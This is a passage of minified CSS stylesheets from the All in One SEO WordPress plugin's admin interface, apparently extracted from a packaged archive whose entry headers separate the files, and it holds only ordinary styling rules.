tfoot th,.aioseo-wp-table .widefat tfoot td{line-height:1.4em}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat td{color:#50575e}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-weight:400}.aioseo-wp-table .widefat thead tr th,.aioseo-wp-table .widefat thead tr td,.aioseo-wp-table .widefat tfoot tr th,.aioseo-wp-table .widefat tfoot tr td{color:#2c3338}.aioseo-wp-table .widefat td p{margin:2px 0 .8em}.aioseo-wp-table .widefat p,.aioseo-wp-table .widefat ol,.aioseo-wp-table .widefat ul{color:#2c3338}.aioseo-wp-table .widefat .column-comment p{margin:.6em 0}.aioseo-wp-table .widefat .column-comment ul{list-style:initial}[dir=ltr] .aioseo-wp-table .widefat .column-comment ul{margin-left:2em}[dir=rtl] .aioseo-wp-table .widefat .column-comment ul{margin-right:2em}.aioseo-wp-table .row-actions span.delete a,.aioseo-wp-table .row-actions span.trash a,.aioseo-wp-table .row-actions span.spam a{color:#b32d2e}.aioseo-wp-table .row-actions .delete a:hover,.aioseo-wp-table .row-actions .trash a:hover,.aioseo-wp-table .row-actions .spam a:hover{color:#b32d2e;border:none}.aioseo-wp-table .row-actions{color:#a7aaad;font-size:12px;line-height:18px;padding:2px 0 0;position:relative}[dir=ltr] .aioseo-wp-table .row-actions{left:-9999em}[dir=rtl] .aioseo-wp-table .row-actions{right:-9999em}.aioseo-wp-table .no-js .row-actions,.aioseo-wp-table tr:hover .row-actions,.aioseo-wp-table .row-actions.visible{position:static}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{padding:0 10px;max-height:38px;height:38px}.aioseo-wp-table .widefat thead th.sortable a,.aioseo-wp-table .widefat tfoot th.sortable a{display:flex;align-items:center;height:36px;padding:0;line-height:36px}.aioseo-wp-table .widefat thead th.sortable a .sorting-indicator,.aioseo-wp-table .widefat tfoot th.sortable a .sorting-indicator{margin-top:0}body.vue-build{margin:0}body.vue-build .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height, 72px))}body.vue-build .aioseo-app .aioseo-main{padding-bottom:30px}body.aioseo-setup-wizard{margin:0;padding:0}body.aioseo-setup-wizard .aioseo-app{min-height:100vh;width:100%}body[class*=page_aioseo]{--aioseo-gutter: 20px;--aioseo-header-height: 72px;--aioseo-footer-height: 150px}[dir=ltr] body[class*=page_aioseo] .aioseo-header,[dir=ltr] body[class*=page_aioseo] .aioseo-notifications .overlay{left:160px}[dir=rtl] body[class*=page_aioseo] .aioseo-header,[dir=rtl] body[class*=page_aioseo] .aioseo-notifications .overlay{right:160px}[dir=ltr] body[class*=page_aioseo].folded .aioseo-header,[dir=ltr] body[class*=page_aioseo].folded .aioseo-notifications .overlay{left:36px}[dir=rtl] body[class*=page_aioseo].folded .aioseo-header,[dir=rtl] body[class*=page_aioseo].folded .aioseo-notifications .overlay{right:36px}body[class*=page_aioseo] #wpcontent{padding:0;background-color:#f3f4f5}body[class*=page_aioseo] .update-nag{display:none}body[class*=page_aioseo] .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px)}body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px - 32px - var(--aioseo-footer-height))}@media screen and (max-width: 782px){body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px - 46px - var(--aioseo-footer-height))}}@media screen and (max-width: 600px){body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - 111px)}}body[class*=page_aioseo].admin-bar .aioseo-header,body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .notification-menu{top:32px}body[class*=page_aioseo].aioseo-has-bar{--aioseo-header-height: 112px}@media screen and (max-width: 782px){body[class*=page_aioseo].aioseo-has-bar{--aioseo-header-height: 132px}}body[class*=page_aioseo].aioseo-flyout-menu-enabled .aioseo-app{padding-bottom:40px}@media screen and (max-width: 960px){[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{left:36px}[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{right:36px}}@media screen and (max-width: 782px){body[class*=page_aioseo] #wpbody-content{padding-bottom:20px}body[class*=page_aioseo].admin-bar .aioseo-header,body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .notification-menu{top:46px}[dir=ltr] body[class*=page_aioseo] .aioseo-header,[dir=ltr] body[class*=page_aioseo] .aioseo-notifications .overlay{left:0}[dir=rtl] body[class*=page_aioseo] .aioseo-header,[dir=rtl] body[class*=page_aioseo] .aioseo-notifications .overlay{right:0}[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{left:0}[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{right:0}body[class*=page_aioseo].aioseo-flyout-menu-enabled .aioseo-app{padding-bottom:100px}}@media screen and (max-width: 600px){body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .menu{position:absolute;top:46px}body[class*=page_aioseo].admin-bar .aioseo-header{position:relative;top:0}}.aioseo-app,#aioseo-user-profile-tab{--aioseo-gutter: 20px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-size:14px;color-scheme:light;box-sizing:border-box;position:relative}@media only screen and (max-width: 782px){.aioseo-app,#aioseo-user-profile-tab{--aioseo-gutter: 16px}}.aioseo-app .sm,.aioseo-app .small,#aioseo-user-profile-tab .sm,#aioseo-user-profile-tab .small{font-size:12px;line-height:18px}.aioseo-app .medium,#aioseo-user-profile-tab .medium{font-size:14px;line-height:22px}.aioseo-app .route-fade-enter-active,.aioseo-app .route-fade-leave-active,#aioseo-user-profile-tab .route-fade-enter-active,#aioseo-user-profile-tab .route-fade-leave-active{transition:all .2s}.aioseo-app .route-fade-enter-from,.aioseo-app .route-fade-leave-active,#aioseo-user-profile-tab .route-fade-enter-from,#aioseo-user-profile-tab .route-fade-leave-active{opacity:0}[dir=ltr] .aioseo-app .route-fade-enter-from,[dir=ltr] #aioseo-user-profile-tab .route-fade-enter-from{transform:translate(30px)}[dir=rtl] .aioseo-app .route-fade-enter-from,[dir=rtl] #aioseo-user-profile-tab .route-fade-enter-from,[dir=ltr] .aioseo-app .route-fade-leave-active,[dir=ltr] #aioseo-user-profile-tab .route-fade-leave-active{transform:translate(-30px)}[dir=rtl] .aioseo-app .route-fade-leave-active,[dir=rtl] #aioseo-user-profile-tab .route-fade-leave-active{transform:translate(30px)}.aioseo-app *,.aioseo-app :after,.aioseo-app :before,#aioseo-user-profile-tab *,#aioseo-user-profile-tab :after,#aioseo-user-profile-tab :before{box-sizing:inherit}.aioseo-app * *:not(.aioseo-button):not(.aioseo-input),.aioseo-app :after *:not(.aioseo-button):not(.aioseo-input),.aioseo-app :before *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab * *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab :after *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab :before *:not(.aioseo-button):not(.aioseo-input){line-height:1.4}.aioseo-app p,#aioseo-user-profile-tab p{font-size:14px;line-height:22px}.aioseo-app a:not(.aioseo-button),#aioseo-user-profile-tab a:not(.aioseo-button){color:#005ae0}.aioseo-app a:not(.aioseo-button).text-white,#aioseo-user-profile-tab a:not(.aioseo-button).text-white{color:#fff}.aioseo-app a:not(.aioseo-button):hover,#aioseo-user-profile-tab a:not(.aioseo-button):hover{text-decoration:none}.aioseo-app a:not(.aioseo-button).no-underline,#aioseo-user-profile-tab a:not(.aioseo-button).no-underline{text-decoration:none}.aioseo-app h2,#aioseo-user-profile-tab h2{font-size:32px;margin:0}.aioseo-app .aioseo-main,#aioseo-user-profile-tab .aioseo-main{height:100%}.aioseo-app .aioseo-main>.aioseo-container,#aioseo-user-profile-tab .aioseo-main>.aioseo-container{margin-top:0;padding-block:var(--aioseo-gutter)}@media screen and (min-width: 601px){.aioseo-app .aioseo-main>.aioseo-container,#aioseo-user-profile-tab .aioseo-main>.aioseo-container{margin-top:var(--aioseo-header-height)}}.aioseo-app .aioseo-main>.aioseo-container>.aioseo-tabs .aioseo-mobile-tabs,#aioseo-user-profile-tab .aioseo-main>.aioseo-container>.aioseo-tabs .aioseo-mobile-tabs{margin-top:0}.aioseo-app .aioseo-main .save-changes,#aioseo-user-profile-tab .aioseo-main .save-changes{display:flex;justify-content:flex-end}.aioseo-app .d-flex,#aioseo-user-profile-tab .d-flex{display:flex}.aioseo-app .aioseo-section-description,#aioseo-user-profile-tab .aioseo-section-description{font-size:14px;color:#141b38;line-height:22px;padding-bottom:16px}.aioseo-app .aioseo-description-text,#aioseo-user-profile-tab .aioseo-description-text{font-size:14px;line-height:22px;color:#141b38}.aioseo-app .aioseo-description-text.aioseo-error,#aioseo-user-profile-tab .aioseo-description-text.aioseo-error{color:#df2a4a}.aioseo-app .aioseo-description,#aioseo-user-profile-tab .aioseo-description{font-size:14px;line-height:22px;margin:0;color:#141b38}.aioseo-app .aioseo-description.no-margin,#aioseo-user-profile-tab .aioseo-description.no-margin{margin:0}.aioseo-app .aioseo-description.aioseo-error,#aioseo-user-profile-tab .aioseo-description.aioseo-error{color:#df2a4a}.aioseo-app .aioseo-description>.aioseo-toggle,#aioseo-user-profile-tab .aioseo-description>.aioseo-toggle{margin:0}.aioseo-app *+.aioseo-description,#aioseo-user-profile-tab *+.aioseo-description{margin-top:8px}.aioseo-app *+.aioseo-description:has(.aioseo-alert),#aioseo-user-profile-tab *+.aioseo-description:has(.aioseo-alert){margin-top:12px}.aioseo-app .max-recommended-count,#aioseo-user-profile-tab .max-recommended-count{color:#434960;margin-top:4px;font-size:14px}[dir=ltr] .aioseo-app .max-recommended-count,[dir=ltr] #aioseo-user-profile-tab .max-recommended-count{text-align:right}[dir=rtl] .aioseo-app .max-recommended-count,[dir=rtl] #aioseo-user-profile-tab .max-recommended-count{text-align:left}.aioseo-app .max-recommended-count strong.error,#aioseo-user-profile-tab .max-recommended-count strong.error{border:none;color:#df2a4a}.aioseo-app .popper,#aioseo-user-profile-tab .popper{font-size:12px;padding:20px;background-color:#fff;border:none;border-radius:3px;box-shadow:0 3px 4.8px #20476645;z-index:9999;max-width:350px;line-height:1.4;white-space:normal}[dir=ltr] .aioseo-app .popper,[dir=ltr] #aioseo-user-profile-tab .popper{text-align:left}[dir=rtl] .aioseo-app .popper,[dir=rtl] #aioseo-user-profile-tab .popper{text-align:right}.aioseo-app .popper.action,#aioseo-user-profile-tab .popper.action{padding:8px 12px;background-color:#141b38;color:#fff}.aioseo-app .popper.action .popper__arrow,#aioseo-user-profile-tab .popper.action .popper__arrow{border-top-color:#141b38}.aioseo-app .popper[x-placement^=bottom],#aioseo-user-profile-tab .popper[x-placement^=bottom]{box-shadow:0 2px 4.8px #20476645}.aioseo-app .popper .aioseo-description,#aioseo-user-profile-tab .popper .aioseo-description{margin:0}.aioseo-app .aioseo-row-highlight,#aioseo-user-profile-tab .aioseo-row-highlight{animation-name:color;animation-duration:.5s;animation-iteration-count:2}@keyframes color{0%{background-color:#fff}50%{background-color:#00aa63}to{background-color:#fff}}.column-aioseo-details{position:relative;width:20%}.no-underline{text-decoration:none}body,#wpfooter{padding-top:0;background-color:#f3f4f5}#aioseo-modal-portal{width:0;height:0} PKÉ—[ÉŽ­î  :all-in-one-seo-pack/dist/Lite/assets/css/Main.wQkDlFZD.cssnu„[µü¤.aioseo-site-score-dashboard{position:relative;display:flex;align-items:center;justify-content:flex-start}.aioseo-site-score-dashboard .analyze-errors{align-items:center;justify-content:center;margin-left:auto;margin-right:auto;text-align:center}.aioseo-site-score-dashboard .aioseo-seo-site-score-score{position:relative;width:100%;max-width:200px}[dir=ltr] .aioseo-site-score-dashboard .aioseo-seo-site-score-score{margin-right:1rem}[dir=rtl] .aioseo-site-score-dashboard .aioseo-seo-site-score-score{margin-left:1rem}.aioseo-site-score-dashboard .aioseo-seo-site-score-score svg{width:100%;height:auto}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links){display:flex;align-items:center;font-size:14px;color:#141b38;font-weight:600;margin-bottom:10px}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round{position:relative;border-radius:50%;width:24px;min-width:24px;max-width:24px;height:24px;line-height:24px;display:flex;align-items:center;justify-content:center;font-size:12px;color:#fff;font-weight:600}[dir=ltr] .aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round{margin-right:10px}[dir=rtl] .aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round{margin-left:10px}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round.red{background-color:#df2a4a}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round.blue{background-color:#005ae0}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round.orange{background-color:#f18200}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations>div:not(.links) .round.green{background-color:#00aa63}.aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations .links{margin-top:18px;font-size:14px;font-weight:600}[dir=ltr] .aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations .links .no-underline{padding-left:5px}[dir=rtl] .aioseo-site-score-dashboard .aioseo-seo-site-score-recommendations .links .no-underline{padding-right:5px}.aioseo-seo-site-score .aioseo-blur{display:flex;align-items:center}.aioseo-seo-site-score .aioseo-seo-site-score-cta{position:absolute;top:50%;background-color:#fff;padding:20px;border:1px solid #E8E8EB;box-shadow:0 2px 10px #005ae033;color:#141b38;font-size:16px;font-weight:600;width:82%;text-align:center}[dir=ltr] .aioseo-seo-site-score .aioseo-seo-site-score-cta{left:50%;transform:translate(-50%) translateY(-50%)}[dir=rtl] .aioseo-seo-site-score .aioseo-seo-site-score-cta{right:50%;transform:translate(50%) translateY(-50%)}.aioseo-dashboard .aioseo-main>.aioseo-container{padding-top:0}.aioseo-dashboard .dashboard-getting-started{padding-top:1px}.aioseo-dashboard .dashboard-getting-started>div{margin-top:calc(var(--aioseo-gutter) - 1px);margin-bottom:0}[dir=ltr] .aioseo-dashboard .dashboard-notifications .notifications-count{margin-right:5px}[dir=rtl] .aioseo-dashboard .dashboard-notifications .notifications-count{margin-left:5px}.aioseo-dashboard .dashboard-notifications .notifications-count+div{flex:1}.aioseo-dashboard .dashboard-notifications .no-dashboard-notifications{padding-top:0;font-size:14px;color:#141b38;text-align:center}.aioseo-dashboard .dashboard-notifications .no-dashboard-notifications>div{font-weight:600;margin-bottom:10px}.aioseo-dashboard .dashboard-notifications .no-dashboard-notifications a{color:#434960;font-size:14px}.aioseo-dashboard .dashboard-notifications .show-dismissed-notifications{margin:0 5px;font-size:14px;color:#434960}.aioseo-dashboard .dashboard-notifications .aioseo-notification-cards .aioseo-notification:last-child>div{padding-bottom:0}.aioseo-dashboard .dashboard-notifications .notification-footer{margin-top:10px;padding-top:20px;border-top:1px solid #E8E8EB;display:flex}.aioseo-dashboard .dashboard-notifications .notification-footer .more-notifications{flex:1}.aioseo-dashboard .dashboard-notifications .notification-footer .more-notifications a{font-weight:600;font-size:14px}[dir=ltr] .aioseo-dashboard .dashboard-notifications .notification-footer .more-notifications a{margin-right:5px}[dir=rtl] .aioseo-dashboard .dashboard-notifications .notification-footer .more-notifications a{margin-left:5px}.aioseo-dashboard .dashboard-notifications .notification-footer a.dismiss{color:#8c8f9a;font-size:14px}.aioseo-dashboard .dashboard-support .aioseo-settings-row{margin-bottom:var(--aioseo-gutter)}.aioseo-dashboard .dashboard-support .aioseo-settings-row a{display:flex;align-items:center;font-size:14px;line-height:22px;font-weight:600;color:#141b38;text-decoration:none}.aioseo-dashboard .dashboard-support .aioseo-settings-row a:hover{color:#005ae0}.aioseo-dashboard .dashboard-support .aioseo-settings-row svg{color:#005ae0;width:16px;height:16px}[dir=ltr] .aioseo-dashboard .dashboard-support .aioseo-settings-row svg{margin-right:8px}[dir=rtl] .aioseo-dashboard .dashboard-support .aioseo-settings-row svg{margin-left:8px}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row{--aioseo-gutter: 16px;--total-gap-width: calc(1 * var(--aioseo-gutter));--aioseo-col-max-width: calc((100% - var(--total-gap-width)) / 2);display:grid;gap:var(--aioseo-gutter);grid-template-columns:repeat(auto-fill,minmax(max(204px,var(--aioseo-col-max-width)),1fr))}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row>*{max-width:none}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row>*{max-width:none;padding:0}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-col:first-child{grid-column:1/-1;grid-row:1/-1}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards{height:100%;border:1px solid #E8E8EB;background:#fff;box-shadow:0 2px 5px #0000000d;color:#141b38;display:flex;flex-direction:column}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body{line-height:22px;padding:20px;flex:1}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header{display:flex;align-items:center;font-size:14px;font-weight:600;margin-bottom:12px}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header img,.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header svg{width:24px;height:24px}[dir=ltr] .aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header img,[dir=ltr] .aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header svg{margin-right:10px}[dir=rtl] .aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header img,[dir=rtl] .aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-header svg{margin-left:10px}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-description{color:#434960;font-size:14px}.aioseo-dashboard .aioseo-quicklinks-cards-row.aioseo-row .aioseo-quicklinks-cards .feature-card-body .feature-card-description .learn-more{margin-top:12px;font-size:14px}.aioseo-dashboard .aioseo-quicklinks-title{font-size:18px;line-height:22px;color:#141b38;font-weight:600;display:flex;align-items:center}.aioseo-dashboard .aioseo-quicklinks-title svg{width:16px;height:16px;color:#8c8f9a}.aioseo-dashboard .dashboard-cta{margin-top:var(--aioseo-gutter)} PKÉ—[¤„%%:all-in-one-seo-pack/dist/Lite/assets/css/Main.x3Oj30oR.cssnu„[µü¤.aioseo-redirects{position:relative} PKÉ—[Þá Ð&&:all-in-one-seo-pack/dist/Lite/assets/css/Maps.2LJoYCWy.cssnu„[µü¤.aioseo-local-maps{position:relative} PKÉ—[ó/kœA?A?Eall-in-one-seo-pack/dist/Lite/assets/css/MazBtn-K-8_p-HR.Dy_aexRw.cssnu„[µü¤.m-btn[data-v-0caaaef5]{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:none;flex:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:.5rem;border-width:var(--maz-border-width);border-style:solid;border-color:transparent;text-align:center;font-size:1rem;line-height:1.5rem;color:var(--maz-color-text)}.m-btn span[data-v-0caaaef5]{line-height:1}.m-btn-loader[data-v-0caaaef5]{position:absolute}.m-btn.--cursor-pointer[data-v-0caaaef5]{cursor:pointer}.m-btn.--cursor-default[data-v-0caaaef5]{cursor:default}.m-btn.--is-link[data-v-0caaaef5]{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:transparent;outline:2px solid transparent;outline-offset:2px;-webkit-transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(.4,0,.2,1)}.m-btn.--is-link:not(.--no-leading) span[data-v-0caaaef5]{line-height:2.25rem}.m-btn.--is-link[data-v-0caaaef5]:not(:disabled):hover:not(.--no-underline),.m-btn.--is-link[data-v-0caaaef5]:not(:disabled):focus:not(.--no-underline){text-decoration-line:underline}.m-btn.--is-link.--secondary[data-v-0caaaef5]{color:var(--maz-color-secondary)}.m-btn.--is-link.--info[data-v-0caaaef5]{color:var(--maz-color-info)}.m-btn.--is-link.--warning[data-v-0caaaef5]{color:var(--maz-color-warning-600)}.m-btn.--is-link.--danger[data-v-0caaaef5]{color:var(--maz-color-danger-600)}.m-btn.--is-link.--success[data-v-0caaaef5]{color:var(--maz-color-success-600)}.m-btn.--is-link.--white[data-v-0caaaef5]{color:var(--maz-color-white)}.m-btn.--is-link.--black[data-v-0caaaef5]{color:var(--maz-color-black)}.m-btn.--is-link.--theme[data-v-0caaaef5]{color:var(--maz-color-text)}.m-btn.--is-button[data-v-0caaaef5]{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;border-color:transparent;background-color:transparent;font-weight:500;text-decoration-line:none;-webkit-transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-box-shadow,-webkit-transform,-webkit-filter,-webkit-backdrop-filter;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(.4,0,.2,1)}.m-btn.--is-button[data-v-0caaaef5]:not(.--no-rounded){border-radius:var(--maz-border-radius)}.m-btn.--is-button.--rounded[data-v-0caaaef5]{border-radius:9999px}.m-btn.--is-button.--xl[data-v-0caaaef5]{padding:1.325rem 2rem;font-size:1.25rem;line-height:1.75rem}.m-btn.--is-button.--lg[data-v-0caaaef5]{padding:1rem 1.5rem;font-size:1.125rem;line-height:1.75rem}.m-btn.--is-button.--md[data-v-0caaaef5]{padding:.88rem 1rem}.m-btn.--is-button.--sm[data-v-0caaaef5]{padding:.625rem .75rem;font-size:.875rem;line-height:1.25rem}.m-btn.--is-button.--xs[data-v-0caaaef5]{padding:.3rem .5rem;font-size:.875rem;line-height:1.25rem}.m-btn.--is-button.--mini[data-v-0caaaef5]{padding:.2rem .25rem;font-size:.75rem;line-height:1rem}.m-btn.--is-button[data-v-0caaaef5]{-webkit-transition:background .3s ease-in-out 0ms,color .3s ease-in-out 0ms;transition:background .3s ease-in-out 0ms,color .3s ease-in-out 0ms}.m-btn.--is-button[data-v-0caaaef5]:not(.--disabled):hover,.m-btn.--is-button[data-v-0caaaef5]:not(.--disabled):focus{--tw-bg-opacity: 1;background-color:rgb(229 231 235 / var(--tw-bg-opacity))}.m-btn.--is-button.--fab[data-v-0caaaef5]{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;border-radius:9999px;padding:0}.m-btn.--is-button.--fab[data-v-0caaaef5]:not(.--no-elevation){-webkit-box-shadow:0 5px 10px 0 hsla(0,0%,0%,.05);box-shadow:0 5px 10px #0000000d}.m-btn.--is-button.--fab.--xl[data-v-0caaaef5]{height:4.125rem;width:4.125rem;font-size:1.25rem;line-height:1.75rem}.m-btn.--is-button.--fab.--lg[data-v-0caaaef5]{height:3.375rem;width:3.375rem;font-size:1.125rem;line-height:1.75rem}.m-btn.--is-button.--fab.--md[data-v-0caaaef5]{height:3rem;width:3rem}.m-btn.--is-button.--fab.--sm[data-v-0caaaef5]{height:2.375rem;width:2.375rem;font-size:.875rem;line-height:1.25rem}.m-btn.--is-button.--fab.--xs[data-v-0caaaef5]{height:1.725rem;width:1.725rem;font-size:.875rem;line-height:1.25rem}.m-btn.--is-button.--fab.--mini[data-v-0caaaef5]{height:1.4rem;width:1.4rem;font-size:.75rem;line-height:1rem}.m-btn.--is-button.--block[data-v-0caaaef5]{width:100%}.m-btn.--is-button.--primary[data-v-0caaaef5]{background-color:var(--maz-color-primary);color:var(--maz-color-primary-contrast)}.m-btn.--is-button.--primary[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--primary[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-primary-600)}.m-btn.--is-button.--secondary[data-v-0caaaef5]{background-color:var(--maz-color-secondary);color:var(--maz-color-secondary-contrast)}.m-btn.--is-button.--secondary[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--secondary[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-secondary-600)}.m-btn.--is-button.--info[data-v-0caaaef5]{background-color:var(--maz-color-info);color:var(--maz-color-info-contrast)}.m-btn.--is-button.--info[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--info[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-info-600)}.m-btn.--is-button.--success[data-v-0caaaef5]{background-color:var(--maz-color-success);color:var(--maz-color-success-contrast)}.m-btn.--is-button.--success[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--success[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-success-600)}.m-btn.--is-button.--warning[data-v-0caaaef5]{background-color:var(--maz-color-warning);color:var(--maz-color-warning-contrast)}.m-btn.--is-button.--warning[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--warning[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-warning-600)}.m-btn.--is-button.--danger[data-v-0caaaef5]{background-color:var(--maz-color-danger);color:var(--maz-color-white)}.m-btn.--is-button.--danger[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--danger[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-danger-600)}.m-btn.--is-button.--white[data-v-0caaaef5]{background-color:var(--maz-color-white);color:var(--maz-color-white-contrast)}.m-btn.--is-button.--white[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--white[data-v-0caaaef5]:not(:disabled):focus{--tw-bg-opacity: 1;background-color:rgb(209 213 219 / var(--tw-bg-opacity))}.m-btn.--is-button.--black[data-v-0caaaef5]{background-color:var(--maz-color-black);color:var(--maz-color-black-contrast)}.m-btn.--is-button.--black[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--black[data-v-0caaaef5]:not(:disabled):focus{--tw-bg-opacity: 1;background-color:rgb(31 41 55 / var(--tw-bg-opacity))}.m-btn.--is-button.--transparent[data-v-0caaaef5]{background-color:transparent}.m-btn.--is-button.--transparent[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--transparent[data-v-0caaaef5]:not(:disabled):focus{background-color:#00000014}:is([class~=dark] .m-btn.--is-button.--transparent[data-v-0caaaef5]:not(:disabled):hover),:is([class~=dark] .m-btn.--is-button.--transparent[data-v-0caaaef5]:not(:disabled):focus){background-color:#ffffff14}.m-btn.--is-button.--theme[data-v-0caaaef5]{background-color:var(--maz-color-bg-theme);color:var(--maz-color-bg)}.m-btn.--is-button.--theme[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--theme[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-bg-theme-hover)}.m-btn.--is-button.--primary-outline[data-v-0caaaef5]{border-color:var(--maz-color-primary);background-color:var(--maz-color-primary-alpha-05);color:var(--maz-color-primary)}.m-btn.--is-button.--primary-outline[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--primary-outline[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-primary);color:var(--maz-color-primary-contrast)}.m-btn.--is-button.--secondary-outline[data-v-0caaaef5]{border-color:var(--maz-color-secondary);background-color:var(--maz-color-secondary-alpha-05);color:var(--maz-color-secondary)}.m-btn.--is-button.--secondary-outline[data-v-0caaaef5]:not(:disabled):hover,.m-btn.--is-button.--secondary-outline[data-v-0caaaef5]:not(:disabled):focus{background-color:var(--maz-color-secondary);color:var(--maz-color-white)}.m-